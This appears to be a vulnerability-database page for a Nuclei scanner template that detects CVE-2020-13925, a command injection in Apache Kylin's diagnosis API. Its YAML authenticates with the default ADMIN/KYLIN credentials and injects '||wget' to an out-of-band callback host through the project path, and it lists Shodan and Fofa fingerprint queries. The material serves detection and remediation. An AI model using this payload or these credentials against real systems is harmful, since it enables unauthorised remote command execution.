CVE-2020-13925: Apache Kylin < 3.1.0 - Diagnosis API Unauthenticated Command Injection
- Template: CVE-2020-13925
- Name: Apache Kylin < 3.1.0 - Diagnosis API Unauthenticated Command Injection
- Description: Apache Kylin before 3.1.0 exposes a diagnostic REST API (/kylin/api/diag/project/{project}/download) that passes the project path segment to an underlying OS shell command without proper sanitization. An attacker who can authenticate (including via the product's default ADMIN/KYLIN credentials) can inject arbitrary OS commands by supplying a crafted project name. Fixed in Apache Kylin 3.1.0.
- Impact: Successful exploitation results in remote command execution in the context of the Apache Kylin service.
- Remediation: Upgrade to Apache Kylin 3.1.0 or later, and change the default ADMIN/KYLIN credentials.
- Severity: critical
- Authors: DhiyaneshDk
- Tags: cve, cve2020, apache, kylin, rce, oast, default-login, vkev
- References: https://github.com/bit4woo/CVE-2020-13925, https://nvd.nist.gov/vuln/detail/CVE-2020-13925
- Cves: CVE-2020-13925
- Verified: yes
- Max requests: 2
- Directory: http/cves
- Path: http/cves/2020/CVE-2020-13925.yaml
- Digest: 490a00463044022062db79cd0ff7ab0fa9b78eeeaf2b87b8b5d0dcc379408d9c11c27b410c7efc3e02205565f85f59f2a0f8222d9c84330ad4228416b936442082135e78935096ce074e
- Created at: 2026-11-23T08:50:54Z
- Updated at: 2026-11-23T08:51:15Z
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13925.yaml
- Checked, none or zero: age in days
Classification
- Cwe: CWE-78
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Cpe: cpe:2.3:a:apache:kylin:*:*:*:*:*:*:*:*
- Not known: epss score, epss percentile
Metadata
- Fofa-query: icon_hash=-186961397
- Max-request: 2
- Product: kylin
- Shodan-query: http.favicon.hash:-186961397
- Vendor: apache
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| apache:kylin | yes | /v1/products/apache/kylin |
Labels
- Name: Kylin - Command Injection
- Impact: Remote attackers can execute arbitrary OS commands on the server, potentially leading to full system compromise.
- Remediation: Upgrade to version 3.1.0 or later.
- Vulnerability type: command_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2020-13925
- Not known: requirements
```yaml
id: CVE-2020-13925
info:
name: Apache Kylin < 3.1.0 - Diagnosis API Unauthenticated Command Injection
author: DhiyaneshDk
severity: critical
description: |
Apache Kylin before 3.1.0 exposes a diagnostic REST API (/kylin/api/diag/project/{project}/download) that passes the project path segment to an underlying OS shell command without proper sanitization. An attacker who can authenticate (including via the product's default ADMIN/KYLIN credentials) can inject arbitrary OS commands by supplying a crafted project name. Fixed in Apache Kylin 3.1.0.
impact: |
Successful exploitation results in remote command execution in the context of the Apache Kylin service.
remediation: |
Upgrade to Apache Kylin 3.1.0 or later, and change the default ADMIN/KYLIN credentials.
reference:
- https://github.com/bit4woo/CVE-2020-13925
- https://nvd.nist.gov/vuln/detail/CVE-2020-13925
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-13925
cwe-id: CWE-78
cpe: cpe:2.3:a:apache:kylin:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: apache
product: kylin
shodan-query: http.favicon.hash:-186961397
fofa-query: icon_hash=-186961397
tags: cve,cve2020,apache,kylin,rce,oast,default-login,vkev
variables:
username: "ADMIN"
password: "KYLIN"
flow: http(1); http(2)
http:
- raw:
- |
GET /kylin/api/user/authentication HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64(username + ':' + password)}}
- raw:
- |
GET /kylin/api/diag/project/%7C%7Cwget%20{{interactsh-url}}%7C%7C/download HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64(username + ':' + password)}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- http
- type: word
part: interactsh_request
words:
- "User-Agent: Wget"
- "User-Agent: wget"
condition: or
digest: 490a00463044022062db79cd0ff7ab0fa9b78eeeaf2b87b8b5d0dcc379408d9c11c27b410c7efc3e02205565f85f59f2a0f8222d9c84330ad4228416b936442082135e78935096ce074e:922c64590222798bb761d5b6d8e72950
```